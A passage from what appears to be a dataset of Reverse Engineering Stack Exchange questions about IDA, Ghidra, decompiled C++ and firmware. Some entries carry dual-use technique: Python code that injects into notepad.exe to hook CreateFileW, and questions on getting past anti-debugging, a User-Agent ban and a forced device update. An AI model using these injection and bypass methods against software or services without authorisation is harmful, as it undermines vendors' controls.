+ +Is there a plug-in or something that I can find all the call to this function? +" +['ida']," Title: ida pro: dwarf fatal error; the dwarf plugin will stop nowBody: I recently observed this bug (error), when I upgraded gcc/g++ from version 9.x to 11.x. + +Basically, Ida fails to parse debug information. I don't get this error when I compile with gcc 9.x. Note that, I get this error when I compile any kind (not specific to source code) of code with -g flag. +" +"['ida', 'idapython', 'idapro-sdk']"," Title: How to force IDA to analyze a function immediately?Body: I think my question is probably related to this one: +API to force reanalyze of function (Alt-P) +When I define a function at a certain location with IDAPython, I want IDA to analyze it immediately, before proceeding with auto-analysis of the rest of the IDB. Is there a way to force this to happen, or must I wait for the auto-analysis queue to get to my function later? As the linked question points out, doing this manually via the GUI does seem to make it happen immediately. +" +['python']," Title: How to derive a state diagram from existing source codeBody: to;dr; What tools or smart method can I use to derive a state (transition) overview from source code with 10 binary and three 16-bit input variables, and several output variables, both 16-bit and binary. All input variables can change with every 33ms execution of the source, which has several hidden states. +Background +I have been tasked to write a functional description of a 20+ year old embedded product. The source code is available, but is written in a long forgotten language, resembling basic. +The source itself is written in an extremely naïve way, with hundredst of long if statements, and no function calls at all. All internal variables are global. +Attempts +I quickly lost track of attempting to make sense of the source code, which is running in a never ending 33ms loop, and variables are used and modified anywhere in the 1000+ lines of code. +I decided to try to emulate the entire hardware, and due to the simplicity of the code, it turned out to be very simple to convert to python. I'm now able to predifine some timed changes in the input variables then execute the code for a number of simulated seconds, generating a number of output lines with the end result of each 33ms execution. +The emulated approach is working, but I need to spend a very long time to craft the timed inputs based on the generated output. I've currently identified at lease 16 major states, each treating the other inputs differently. +The question +How can I do this smarter, preferable automated. +" +"['ida', 'c++', 'class-reconstruction']"," Title: Does loading custom PDB help reversing behemoth program?Body:
What I reverse :
+    Old 4~8mb games compiled with vc++ 2006~2008(depends on version), whose source code is lost.
+    It(they) has the mixtures of their custom structures, classes and directX sdk classes.
+
+What I did with an IDA:
+    Clumsy way - find some functions(subroutines) do some roles in gameplaying.
+    Searching - find some structures which helps analyzing their settings.
+    Class informer - Helped a lot finding class hierarchy but was no use without knowing size of class member.
+
+Question : +
    +
  1. I am currently trying new way: compiling old directX sdk examples with old compiler(vc++ 2008) to extract symbols for helping reversing. The RTTI clues say that the game uses directX classes(DxSurface, DxImageBase...) So I think it will help organizing classes from the bottom.
  2. +
+1-1. For acquiring vtable and struct info of compiled directx class, I planned to compile some sample codes with directx library. +1-2. With compiled PDB symbol, I expect to measure the size of some class, and more precise class information(that the class will implemented into struct and struct_vtbl). +1-3. After successive 1-2, I'll apply this result to original project, reversing the old game. +
    +
  1. Does this plan valid for reversing the game? +
  2. +
  3. I did the way mentioned above with libjpeg, but the compiled function call was usercall and the one in the actual game use cdecl call. How can I change calling convention in a whole project? +
  4. +
+" +"['decompilation', 'visual-basic']"," Title: Decompiled VB 6.0 Application Call StatementBody: I decompiled a VB application using VB Decompiler pro. It contains the following call statements: +
Call {EEF18FCD-D67D-4E3C-AA21EC9AF56F90E9}.Method_arg_B8 (global_248, CStr(var_98))
+
+Can you please explain what does this call do? +" +"['disassembly', 'assembly', 'dll', 'exe', 'nasm']"," Title: Starting out with reverse engineering. What assembly is disassembled codeBody: I am new to reverse engineering and want to analyze my own exe/dll files. I took a look at nasm and masm and so far I have the feeling that this is unnecessary for me to learn in detail because it really differs from what I see in the disassembled code (for example in IDA Free). +What kind of assembly is disassembled code of an exe or DLL? +" +"['python', 'function-hooking', 'injection', 'iat']"," Title: Hooking IAT in remote process with Python?Body: I'm trying to hook a win32 function call (CreateFileW) inside of a notepad process to have the function do additional actions before returning what it should do. Ultimately, this will assist me in some RE translation efforts for another project I'm working on, but I'm just doing this as a proof of concept. +I'm the most comfortable in Python, so I've been trying to accomplish this task in this language. +There are a lot of small to large scale Python libraries out there on how to RPM/WPM, but hooking/detouring are not focus points with these projects. +Here is an example of what I've attempted to do with both the pymem and PythonForWindows libraries to accomplish this task: +
import pymem
+import sys
+import os
+from json import dumps
+
+wdir = os.path.abspath('.')
+
+log_path = os.path.join(wdir, 'out.log').replace("\\", "\\\\")
+err_path = os.path.join(wdir, 'err.log').replace("\\", "\\\\")
+
+shellcode = """
+import sys
+from os import chdir
+from traceback import format_exc
+sys.path=%s
+chdir(sys.path[0])
+
+def write_file(message):
+    with open("%s", "a") as f:
+        f.write(str(message))
+
+try:
+    import windows
+    from windows.hooks import *
+
+    @CreateFileWCallback
+    def createfile_callback(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile, real_function):
+        try:
+            write_file("Trying to open {0}".format(lpFileName))
+            return real_function()
+        except:
+            write_file(format_exc())
+
+    peb = windows.current_process.peb.modules[0]
+    imp = peb.pe.imports
+    
+    iat_create_file = [entry for entry in imp['kernel32.dll'] if entry.name == "CreateFileW"]
+    
+    result = iat_create_file[0].set_hook(createfile_callback)
+except:
+    write_file(format_exc())
+""" % (
+    dumps(sys.path).replace("\\", "\\\\"),
+    'err.log'
+)
+
+pm = pymem.Pymem('notepad.exe')
+pm.inject_python_interpreter()
+pm.inject_python_shellcode(shellcode)
+
+This code is supposed to hook the CreateFileW function, log the name of the file it's interacting with to a file and then return the rest of the function. My problem is that when this function is called within notepad, the program just hangs -- so not successful unfortunately. +I have a feeling that my code here: +
pm.inject_python_shellcode(shellcode)
+
+is spawning a thread and executing immediately, instead of only executing when it has been called - but I don't know of a different way to do this. +I'm totally open to different ways to go about this. I know ctypes is powerful for this work, but I'm unsure how to implement something like that in this method. I learn best by example code and have easily dumped dozens of hours searching for ways to do this without success. Thanks for any help you can provide! +" +"['disassembly', 'decompilation', 'ghidra', 'debuggers', 'x64dbg']"," Title: x64dbg Crash on Dynamic Debugging Remove Anti-Debugging ProtectionBody: I am trying to run Dynamic code analysis using x64dbg for Windows 64 bit executable. I install the anti-debugging plugin for x64dbg from https://github.com/x64dbg/ScyllaHide. I still find the debugger stops executing. Is there are a tool to remove anti-debugging and do a dynamic analysis? Also, Ghidra was able to find the text string that I need to concentrate my RE on. However, that address does not match the x64dbg address at all. +Ghidra found the text string at address with 8 hex digits: +
01A0FB74
+
+x64dbg all address are 16 hex: +
 10009000ffbb9123
+
+How do I translate Ghidra address to x64dbg address so I can see the instructions? I am new to RE. I need some guidance. +" +"['c++', 'function-hooking', 'proxy', 'api-reversing']"," Title: Using struct objects and constructors in hooked functionBody: Will try to reword the actual question so it is hopefully more descriptive and clear of what I am after: +So, there is a function main, which I have successfully hooked. The hooked version looks like this: +
__int64 __fastcall gamemainHooked(gladius::Game* thisptr, int param_1, char** param_2, char** param_3)
+    {       
+
+        gladius::get().initialize(thisptr, param_1, param_2, param_3);
+
+        gladius::gui::get().guiRun(*(GUI**)(thisptr + 0x28));
+
+        gladius::get().quit(thisptr);
+
+        return gladius::get().gamemain(thisptr, param_1, param_2, param_3);
+    }
+
+Now, see there is a Game* thisptr, which is passed in to that function. +When the function is running it populates Game* thisptr instance with +
thisptr->GameConstructor (0x0x00000271704c6ec0)
+thisptr->gamemain (0x00000271788a94f0)
+thisptr->initialize(0x000002716d523b90)
+thisptr->quit(0x000002716fdebdd0)
+
+he original main function and the hooked one have a function called guiRun, which takes thisptr + 0x28 offset and which from the code below is the 5th element of the constructor (Game). +
Game * __thiscall gladius::Game::Game(Game *this)
+
+{
+  *(undefined8 *)this = 0;
+  *(undefined8 *)(this + 8) = 0;
+  *(undefined8 *)(this + 0x10) = 0;
+  *(undefined8 *)(this + 0x18) = 0;
+  *(undefined8 *)(this + 0x20) = 0;
+  *(undefined8 *)(this + 0x28) = 0;
+  *(undefined8 *)(this + 0x30) = 0;
+  *(undefined8 *)(this + 0x38) = 0;
+  *(undefined8 *)(this + 0x40) = 0;
+  *(undefined8 *)(this + 0x48) = 0;
+  *(undefined8 *)(this + 0x50) = 0;
+  return this;
+}
+
+Now, what's the best way to reverse this, so that I can have a handle on that 5th element of the Game instance? How should the code look like so that calling guiRun with thisptr+0x28 succeeds. +Should I reverse constructor completely with all of the pointers inside and then point to it? +The point is that calling guiRun (thisptr + 0x28) doesn't work as thisptr + 0x28 is not pointing to 5th element of the Game* instance... +The current reversed Game struct looks like this: +
 namespace gladius {
+        struct Game {
+            //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3);
+    
+            using GameConstructor = Game * (__fastcall*) (Game* thisptr);
+            GameConstructor gameConstructor;
+    
+            using GameMain = __int64(__fastcall*) (gladius::Game* thisptr, int param_1, char** param_2, char** param_3);
+            GameMain gamemain;
+    
+            using Initialize = void(__fastcall*) (gladius::Game* thisptr, int a2, char** a3, char** a4);
+            Initialize initialize;
+    
+            using Quit = void(__fastcall*) (gladius::Game* thisptr);
+            Quit quit;
+        };
+    
+        Game& get();
+    
+    } /
+
+P.S. +It seems that guiRun wants to accept *thisptr and not thisptr. But this will mean that the original signature of the function has to be changed. Not sure if that will lead to the hook not working. +" +"['disassembly', 'arm']"," Title: Reading from buffer and printing output to a text fileBody:
00001f10  2846       mov     r0, r5 
+00001f12  6349       ldr     r1, [pc, #0x18c]  {data_20a0} 
+00001f14  7944       add     r1, pc  {data_ce5e, "OK:%16[^:]:%16[^:]:%d:%d:%d:%d:%…"} 
+00001f16  fff756ea   blx     #sscanf
+00001f1c  4dd1       b     #0x1fba
+
+After disassembling a binary I found the above ARM instructions. As far as I know the sscanf function (at 0x1f16) reads from the buffer using the format obtained from address 0x1f14 and stores the values to addresses contained in other general purpose registers. I want to know the contents of the buffer and so I thought my option is to print the buffer string to a file while the binary is running. Maybe someone can help me achieve this. +" +"['firmware', 'android', 'patch-reversing', 'api-reversing', 'smart-devices']"," Title: Bypassing unsupported android TV box!Body: I have an android TV box called Proximus decoder v4, anyway the android TV box is not supported anymore by the company. When I turn it on I get an update checking, you can't even cancel it, and then I get an error message update has been failed because like I said the decoder v4 it is not supported anymore, then the device restarts and goes into a loop, also the device opens 3 ports one of them is ssh, but all ports are closed! Which means I cannot connect to the device using any of these ports! Anyway, my intention is to bypass the update somehow and access the device menu! Anybody has any idea what can I try? +If you need more information, let me know! +Sorry English not my first language! +" +"['java', 'obfuscation', 'deobfuscation']"," Title: How to deobfuscate Java applicationBody: Hi i am unable to deobfuscate the Advanced String Obfuscation Jar on tryHackMe +I tried + +sample: + +" +"['decryption', 'cryptography', 'lua']"," Title: How to found signature XTEA for LuaBody: I found an dynamic link library, which is available for download at the following link: +[libgame.so] (https://easyupload.io/oh94nx) +I found the function responsible for decrypting xtea: +(https://pastebin.com/PVS8YXyV) +I found the function responsible for the encryption of xtea:(https://pastebin.com/jgreUAkj) +i would like to find try to find the key to xtea, can someone recommend a tool to me or have you already had experience with xtea and can help me find the xtea key? +i have tried and cannot get a valid signature for lua xtea implementation. +" +"['disassembly', 'x86']"," Title: What's purpose of mov ebx, [esp+0]?Body: I'm disassembling one SO library for fun and was wondering what's purpose of following procedure: +
sub_3699 proc near
+mov     ebx, [esp+0]
+retn
+sub_3699 endp
+
+It's widely used across entire library with very confusing pattern (at least to me) like this: +
push    ebp
+mov     ebp, esp
+push    esi
+push    ebx
+call    sub_3699        ; Here it is called
+add     ebx, 1DD5Ch     ; And this magic number is something I'm trying to understand
+...                     ; rest of caller body
+pop     ebx
+pop     esi
+pop     ebp
+retn
+
+Please note magic number 1DD5Ch added to EBX after procedure invocation. It seems that this number is unique across all invocations, but I have no idea of its purpose. Even EBX register itself doesn't seem to be read/write within caller code. +Any idea? +If that matters, here is output of readelf -s ... +
ELF Header:
+  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
+  Class:                             ELF32
+  Data:                              2's complement, little endian
+  Version:                           1 (current)
+  OS/ABI:                            UNIX - System V
+  ABI Version:                       0
+  Type:                              DYN (Shared object file)
+  Machine:                           Intel 80386
+  Version:                           0x1
+  Entry point address:               0x14340
+  Start of program headers:          52 (bytes into file)
+  Start of section headers:          275660 (bytes into file)
+  Flags:                             0x0
+  Size of this header:               52 (bytes)
+  Size of program headers:           32 (bytes)
+  Number of program headers:         5
+  Size of section headers:           40 (bytes)
+  Number of section headers:         25
+  Section header string table index: 24
+
+Section Headers:
+  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
+  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
+  [ 1] .hash             HASH            000000d4 0000d4 00221c 04   A  2   0  4
+  [ 2] .dynsym           DYNSYM          000022f0 0022f0 0047e0 10   A  3   1  4
+  [ 3] .dynstr           STRTAB          00006ad0 006ad0 00825f 00   A  0   0  1
+  [ 4] .gnu.version      VERSYM          0000ed30 00ed30 0008fc 02   A  2   0  2
+  [ 5] .gnu.version_r    VERNEED         0000f62c 00f62c 000020 00   A  3   1  4
+  [ 6] .rel.dyn          REL             0000f64c 00f64c 000eb8 08   A  2   0  4
+  [ 7] .rel.plt          REL             00010504 010504 0014b0 08   A  2   9  4
+  [ 8] .init             PROGBITS        000119b4 0119b4 00001c 00  AX  0   0  1
+  [ 9] .plt              PROGBITS        000119d0 0119d0 002970 04  AX  0   0 16
+  [10] .text             PROGBITS        00014340 014340 02b324 00  AX  0   0  4
+  [11] .fini             PROGBITS        0003f664 03f664 000017 00  AX  0   0  1
+  [12] .rodata           PROGBITS        0003f680 03f680 001fa0 00   A  0   0  8
+  [13] .eh_frame_hdr     PROGBITS        00041620 041620 00002c 00   A  0   0  4
+  [14] .eh_frame         PROGBITS        0004164c 04164c 0000f8 00   A  0   0  4
+  [15] .ctors            PROGBITS        00042000 042000 000018 00  WA  0   0  4
+  [16] .dtors            PROGBITS        00042018 042018 000018 00  WA  0   0  4
+  [17] .jcr              PROGBITS        00042030 042030 000004 00  WA  0   0  4
+  [18] .data.rel.ro      PROGBITS        00042038 042038 0006d8 00  WA  0   0  8
+  [19] .dynamic          DYNAMIC         00042710 042710 0000d0 08  WA  3   0  4
+  [20] .got              PROGBITS        000427e0 0427e0 0001b4 04  WA  0   0  4
+  [21] .got.plt          PROGBITS        00042994 042994 000a64 04  WA  0   0  4
+  [22] .data             PROGBITS        000433f8 0433f8 000010 00  WA  0   0  4
+  [23] .bss              NOBITS          00043408 043408 000bb0 00  WA  0   0  8
+  [24] .shstrtab         STRTAB          00000000 043408 0000c3 00      0   0  1
+Key to Flags:
+  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
+  L (link order), O (extra OS processing required), G (group), T (TLS),
+  C (compressed), x (unknown), o (OS specific), E (exclude),
+  p (processor specific)
+
+Program Headers:
+  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
+  LOAD           0x000000 0x00000000 0x00000000 0x41744 0x41744 R E 0x1000
+  LOAD           0x042000 0x00042000 0x00042000 0x01408 0x01fb8 RW  0x1000
+  DYNAMIC        0x042710 0x00042710 0x00042710 0x000d0 0x000d0 RW  0x4
+  GNU_EH_FRAME   0x041620 0x00041620 0x00041620 0x0002c 0x0002c R   0x4
+  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
+
+ Section to Segment mapping:
+  Segment Sections...
+   00     .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
+   01     .ctors .dtors .jcr .data.rel.ro .dynamic .got .got.plt .data .bss 
+   02     .dynamic 
+   03     .eh_frame_hdr 
+   04     
+
+" +"['kernel', 'asm']"," Title: What does the instructions sequence call/cdqe/ret do?Body: I'm trying to reverse a Linux module. In the ioctl routine, I have the following sequence of instructions (generated by objdump -M intel -d test.ko): +
 3f9:   74 3b                   je     436 <device_ioctl+0x46>
+...
+ 436:   e8 00 00 00 00          call   43b <device_ioctl+0x4b>
+ 43b:   48 98                   cdqe   
+ 43d:   c3                      ret
+
+I'm not sure to understand what happens here after the jump is done. +First, we have a call instruction. The opcode is E8 00 so it is a near call to the next instruction. The EIP register (which contain the address of the next instruction) is also pushed on the stack. +Then, we continue with the cdqe instruction. It extends the sign of the EAX register into RAX. In other words, it does nothing. Just to mention, EAX/RAX register has not been modified from the beginning of the routine. +Finally, the ret instruction is executed. It pops the stack into EIP which corresponds to the previous instruction and we continue the execution of the routine from that point. +Therefore, cdqe is executed again (to do nothing) and the ret instruction is called again. This time, we leave the ioctl routine and return to the callee. +Am I right saying this does nothing? If so, what is the point of that code? +
+Here is the full routine: +
00000000000003f0 <device_ioctl>:
+ 3f0:   48 89 d7                mov    rdi,rdx
+ 3f3:   81 fe 03 b0 fe ca       cmp    esi,0xcafeb003
+ 3f9:   74 3b                   je     436 <device_ioctl+0x46>
+ 3fb:   77 18                   ja     415 <device_ioctl+0x25>
+ 3fd:   81 fe 01 b0 fe ca       cmp    esi,0xcafeb001
+ 403:   74 39                   je     43e <device_ioctl+0x4e>
+ 405:   81 fe 02 b0 fe ca       cmp    esi,0xcafeb002
+ 40b:   75 39                   jne    446 <device_ioctl+0x56>
+ 40d:   e8 00 00 00 00          call   412 <device_ioctl+0x22>
+ 412:   48 98                   cdqe   
+ 414:   c3                      ret    
+ 415:   48 c7 c0 00 00 00 00    mov    rax,0x0
+ 41c:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
+ 423:   48 2d 00 00 00 00       sub    rax,0x0
+ 429:   81 fe 04 b0 fe ca       cmp    esi,0xcafeb004
+ 42f:   89 c0                   mov    eax,eax
+ 431:   48 0f 45 c2             cmovne rax,rdx
+ 435:   c3                      ret    
+ 436:   e8 00 00 00 00          call   43b <device_ioctl+0x4b>
+ 43b:   48 98                   cdqe   
+ 43d:   c3                      ret    
+ 43e:   e8 00 00 00 00          call   443 <device_ioctl+0x53>
+ 443:   48 98                   cdqe   
+ 445:   c3                      ret    
+ 446:   48 83 c8 ff             or     rax,0xffffffffffffffff
+ 44a:   c3                      ret    
+
+This is from the nightclub challenge of the pbctf 2021. +
+" +"['memory', 'hardware', 'driver', 'hash-functions']"," Title: How is lite hash rate (LHR) of Nvidia implemented?Body: Nvidia limited some of their GPUs with LHR to decrease the performance of Ethereum mining. What in detail is LHR doing? It seems to limit non sequential memory operations (which is actually not what hash algorithms do since they only use registers.) +" +"['c', 'ghidra', 'pointer']"," Title: Does psVar[-6] refer to 6*sizeof(psVar) bytes before psVar? Can you avoid the negative index?Body: In this decompiled code, does psVar8[-6] refer to 6*sizeof(psVar8) == 12 bytes before psVar8? +
psVar8 = (short *)(&DAT_1412345b4 + named_index * 0x20);
+do {
+  if (psVar8[-6] == 0) break;
+  // ...
+} while (lVar10 < 6);
+
+It would seem more intuitive to me if the position of psVar8 was earlier to avoid the negative index. Is there a way to change this in the decompiled code, or a reason not to? +I'm attaching the entire loop in case that is important to the question: +
    do {
+      if (psVar8[-6] == 0) break;
+      if (psVar8[-6] == 4) {
+        named_variable = 0;
+        if (0 < *psVar8) {
+          named_variable = (int)*psVar8;
+        }
+        iVar4 = 0x1d;
+        if (named_variable < 0x1d) {
+          iVar4 = named_variable;
+        }
+        *(undefined2 *)(&DAT_145678900 + (longlong)iVar4 * 2) = 1;
+      }
+      lVar10 += 1;
+      psVar8 = psVar8 + 1;
+    } while (lVar10 < 6);
+
+" +"['c', 'ghidra']"," Title: Is there a way to name a flag for a bit field in Ghidra?Body: In a line like this: +
if ((my_variable & 0x80000000) == 0) {
+
+Is there a way to label 0x80000000 as e.g. FLAG_HAS_PROPERTY_GREEN, or would I have to rely on comments for that? +" +"['decompress', 'encodings', 'unknown-data']"," Title: Unknown binary format of a b64-encoded list of doublesBody: While reverse engineering a database middleware. This is presumably encoding a list of double or float values with Base64 encoding and then compressing it. +Via zlib.decompress() I was able to decompress it, but I got a string of presumably multiple base64-strings. I can see that it consists of more than one, because it contains multiple =. But afaik, these do not always mark the end of a b64-encoded string, because one can also end without a =. +This is a excerpt of one field: +
b'<\x12u<\xf4\x808=\x95\xf0U=\x9fse;\xef\xbe\xf2=A\xd1K=\x1fB\x99=\x95\x11\xa3=\xb8\xcd\xbd<\xd2\xfaL=\x1d\x80U=\xd6:\x1e=\xdcp\xcd=1\xd2\xe1=\t\x01\x8e<\x85\xa8\x16>8\xb4\xa7>2\xf4\x11=>\x03\x9b<\xdfA\x9b>%>a>\xcf\x9a\x05>Ie\x1c>\t@Y<\xdfC\xe2=\xf8\'\xb0=zpa=\x8e\xe8\xde<\xc8\xcby=\x88\xfe\xb6=\xb8Uv=\xd5\xe3\xee=q\xef|<B\xe1\x1f=%\xfe\x85=\x90_\x04=p\x9e\xbd=\x89og=\x96\x88\x87<\xa2\x9c\x84=\x969\xaf=\xab\x84^<\xef\x81\xf6<T\x7f\xf4<\x85\xd6\x86<\x80Q\x93<\xb4\xf9\x00<\xfc&s<\xb9q\x1b<\xd3\xd8\xa0<4\xe9\xc3=\x86a\xb4=\xd5s_=\xc8\xb1==\xc24\xca=~\xd3\xe8=^7\xa5=e\xa3-=\x07?4<\xd5HJ=='
+
+As an amateur on this field, I am very unsure where to start. +From the documentation I know, that it's a b64-encoded list, but I don't know how to use it. Obviously, when decoded, it will consist of a binary format that in some computer language represents a list of floats. +Any tips on how to continue working on this problem? +Unfortunately I have no access to the software currently, the only thing I have is this data structure. +Sorry for my amateur questions, and thanks in advance for any tips! +" +['idapython']," Title: Get instruction by address with IDAPythonBody: I want to get an instruction with IDAPython by address of this instruction. +For example from mov r0 r1 I want to get only mov. +How can I do that with IDAPython? +" +"['ghidra', 'decompiler']"," Title: What does Ghidra mean by ._0_3_?Body: What does ._0_3_ mean in the Ghidra decompiler? +
my_string[0]._0_3_ = CONCAT12(DAT_14123b1f6,DAT_14123b1f4);
+
+" +['c++']," Title: libuv - spoofing user-agent problemBody: Im trying to give an app "second life" (gamedev "banned" User-Agent of this tool to avoid requests from it). +This app is using websocket to get real-time result and then use this result in a GET request. +Where is header data stored in libuv (what function is using header data - more specified)? +" +"['ios', 'hopper', 'frida']"," Title: Int64 parsing from args in Frida-trace for iOS binariesBody: I'm using frida-trace to log some methods and I've come across the following. +
 onEnter(log, args, state) {
+    log(`-[Somefunction somefield64:${args[2]}]`)
+ }
+
+somefield64 returns what I believe to be an int64 like 0x81008d000101e7. +I'm not sure how to see the value behind this, all read methods (readU64/S64) complain it's not a valid address (access violation), so I assume I need to change the format. +Looking at the method in a disassembler and its references show it just takes a string like +
extern _some_field_constant
+
+with the call as +
[Somefunction somefield64:**_some_field_constant]
+
+So I know how to get to the constant with +
Module.getExportByName('SomeModule',"_some_field_constant") 
+
+And I can see the address. +I'm just not seeing the reference to how to retrieve the field from args[2] via frida-trace. +I had a similar method with similar functionality (no int64) returned a __NSCFConstantString and just managed to do +
onEnter(log, args, state) {
+    log(`-[SomeOther someField:${args[2]}]`);
+    log(ObjC.classes.NSString.stringWithString_(args[2]))                                                                                           
+}
+
+What do I need to do (or read in terms of technical documentation, excuse my incomplete understanding/explanation for experienced reverse engineering folks out there) to parse the int64 into a NativePointer so I can get the address in memory. +" +['crc']," Title: Finding the hash algorithm for these payload-crc pairsBody: I have a remote for a LED panel which sends following 4 bytes data and last byte some sort of CRC/counter byte. I already know that the first 2 bytes are remote-id, the third byte is panel-id and the fourth byte is command-id. The last byte is somehow calculated in correlation with the first 4 bytes and does not change on repetitive button-press. +I already tried to use reveng -w 8 -s [some samples] to find the algorithm, but without success. +Maybe someone can help to find the correct way to calculate the last byte of these payload-bytes, and maybe even explain how it was discovered: +
FFCC0000CB
+FFCC0001CA
+FFCC0002C9
+FFCC0003C8
+FFCC0004CF
+FFCC0005CE
+FFCC0006CD
+FFCC0007CC
+FFCC0008C3
+FFCC0009C2
+FFCC000AC1
+FFCC000BC0
+FFCC000CC7
+FFCC000DC6
+FFCC000EC5
+FFCC000FC4
+FFCC0010DB
+FFCC0011DA
+FFCC0012D9
+FFCC0013D8
+E8D6630021
+E8D6630120
+E8D6630223
+E8D6630322
+E8D6630425
+E8D6630524
+E8D6630627
+E8D6630726
+E8D6630829
+E8D6630928
+E8D6630A2B
+E8D6630B2A
+E8D6630C2D
+E8D6630D2C
+E8D6630E2F
+E8D6630F2E
+E8D6631031
+E8D6631130
+E8D6631233
+E8D6631332
+FFCC0300CE
+FFCC0301CF
+FFCC0302CC
+FFCC0303CD
+FFCC0304CA
+FFCC0305CB
+FFCC0306C8
+FFCC0307C9
+FFCC0308C6
+FFCC0309C7
+FFCC030AC4
+FFCC030BC5
+FFCC030CC2
+FFCC030DC3
+FFCC030EC0
+FFCC030FC1
+FFCC0310DE
+FFCC0311DF
+FFCC0312DC
+FFCC0313DD
+
+" +"['windows', 'ghidra']"," Title: How to propagate re-typed variables to functions signatures automatically?Body: In the Ghidra decompiler, after applying a type to a function parameter, the compiler uses that type information to provide better decompilation within the function. When that parameter is used in a function call though, the type information does not propagate. I have to manually change the function signature for the type information to carry forward. +Is there any way to get Ghidra to automatically propagate the type information? I thought Commit Params/Return P or Commit Local Names would do it, but no luck. Finding it time-consuming to have to re-type a known entity in every function call it's used. +Example: +Looking at a Windows Kernel Driver, following the analysis steps here +Changed the type of param_2 from longlong to PIRP and renamed it pIRP. Then selected Analysis -> Auto-Analyze file.sys and only selected Decompiler Parameter ID. +After running the analysis, I'm left with this : +
int FUN_140001a20(longlong test,PIRP pIRP)
+{
+    ... TRIMMED...
+
+        if (uVar2 == 0xc3500e68) {
+          uVar7 = FUN_140002a14(test,(longlong)pIRP,(longlong)pbVar3);
+
+And double-clicking FUN_140002a14: +
void FUN_140002a14(longlong param_1,longlong param_2,longlong param_3)
+
+For whatever reason, pIRP's type is getting cast, and the signature for the called function doesn't change. I'd have expected the longlong to become PIRP. +Edit: +Still working this. Since the types/names don't propagate, working a script to do it for me for a given function. Right now I'm grabbing all functions called by a given function and trying to change a known parameter's name/type. +What I'm most confused about is in the Decompiler window, when I rename/retype a variable, it propagates through the rest of that function. But when I query the parameters for those functions, the variables are unchanged. For example, in the decompiler window, pIRP is propagated to all functions where it's used, but when I get the function signatures in the script, it still has the name as param_2. +Decompiler Window: +
uVar5 = FUN_140002a14(param_1,(longlong)pIRP,(longlong)CurrentStackLocation)
+
+Script Output: +
helloGhidra.java> FUN_140002a14[[longlong param_1@RCX:8], [longlong param_2@RDX:8], [longlong param_3@R8:8]]
+
+This occurs even if I try Commit Params/Return P and Commit Local Names for the parameter. +" +"['ida', 'disassembly', 'firmware', 'arm']"," Title: Arm custom u-boot reversingBody: I'm trying to reverse a custom u-boot that implements cryptography for the Kernel at runtime (the Kernel at rest is encrypted also in a flash). I can probably ask the IoT vendor to provide the modified code of u-boot, but I want to learn something from this experience. +Some info I gathered: +
    +
  • SOC Data Sheet (with memory layouts)
  • +
  • Ram start at 0x8000_0000 (2 GB)
  • +
  • BOOTROM at 0x0400_0000 (64K)
  • +
  • BOOTRAM at 0x0401_0000 (64K)
  • +
  • Remapable area from 0x0000_0000 to 0x03FF_FFFF (64 Mb)
  • +
  • Strings on the u-boot.bin file return: bootcmd=kload 0x82000000; bootm 0x82000000
  • +
  • The CPU is Arm Cortex A7 (the SOC have also an A17 but is not the "default" one)
  • +
+Steps I'm doing to load the binary in IDA: + +IDA asked me for the disassembly memory organizations; I tried a couple of things without success. I think this is the part where I messed up something, and later I can find proper addresses when I try to rebuild the Interrupt Vector Table to start defining functions later. + +Which address I should choose in this case based on the information I have? +An example, if I chose to use 0x8000_0000 as a loading address and redefine some variables to double word (any Interrupt vector table entry is a double word), this is what I get: + +I get something unusable (I can't jump at those addresses); I need to understand how to set up IDA in the early stages. +Any help, especially with some theory, is appreciated :) +" +['patch-reversing']," Title: Can't Find hex Value from X64dbg in hex editorBody: I want to make a simple patcher for exe , so here is the original hex value from the x64dbg before any modify : + +I took the hex value and searched for it in the hex editor ,but can't find any . +So why is that ? +Note: the app is vmprotect +Regards +" +"['arm', 'ios', 'arm64']"," Title: Change iOS app binary fileBody: I want to manipulate iOS binary file and change two strings in it. I used hex editor to search and change these strings. But after the binary file is uploaded and replaced with the origin app's binary file, it closes immediately when I launch the app, even though I fixed mode and permission of binary, the problem still exists. any suggestions will be appreciated +" +"['decompilation', 'c++']"," Title: What is the correct argument for the disassembled function / constructor?Body: I have the following code disassembled by Ghidra. It first initialises the local variable of the particular type (local_68) and then passes it to the constructor. The variable seems to be initialised just as a particular object type, i.e. Game. But the constructor expects (according to the decompiler) pointer to that object, i.e. Game * this. +So, is there a standard way the constructor is called in situation like this? +And what should be there in this case, the object or a pointer to it? +I am trying to see currently what would make the program run, as it is currently failing. Which might be because the way I have setup the constructor is not right. +Here is the calling function: +
int main(int param_1,char **param_2,char **param_3)
+
+{
+  int iVar1;
+  Game local_68 [96];
+  
+  gladius::Game::Game(local_68);
+  iVar1 = gladius::Game::main(local_68,param_1,param_2,param_3);
+  gladius::Game::~Game(local_68);
+  return iVar1;
+}
+
+And here is the constructor I am interested in: +
Game * __thiscall gladius::Game::Game(Game *this)
+
+{
+  *(undefined8 *)this = 0;
+  *(undefined8 *)(this + 8) = 0;
+  *(undefined8 *)(this + 0x10) = 0;
+  *(undefined8 *)(this + 0x18) = 0;
+  *(undefined8 *)(this + 0x20) = 0;
+  *(undefined8 *)(this + 0x28) = 0;
+  *(undefined8 *)(this + 0x30) = 0;
+  *(undefined8 *)(this + 0x38) = 0;
+  *(undefined8 *)(this + 0x40) = 0;
+  *(undefined8 *)(this + 0x48) = 0;
+  *(undefined8 *)(this + 0x50) = 0;
+  return this;
+}
+
+" +"['decompilation', 'c++', 'functions', 'decompile']"," Title: The way to determine how the decompiled constructor is structuredBody: I have the following constructor decompiled by Ghidra, i.e. Game. I know some of the functions, which are part of that constructor. And thus I have created my interpretation of that structure. But I don't know in what exact order those functions were there originally. +So, is my interpretation correct or / and there should be a different approach to disassembling structures like this? +Decompiled Game constructor / class: +
Game * __thiscall gladius::Game::Game(Game *this)
+
+{
+  *(undefined8 *)this = 0;
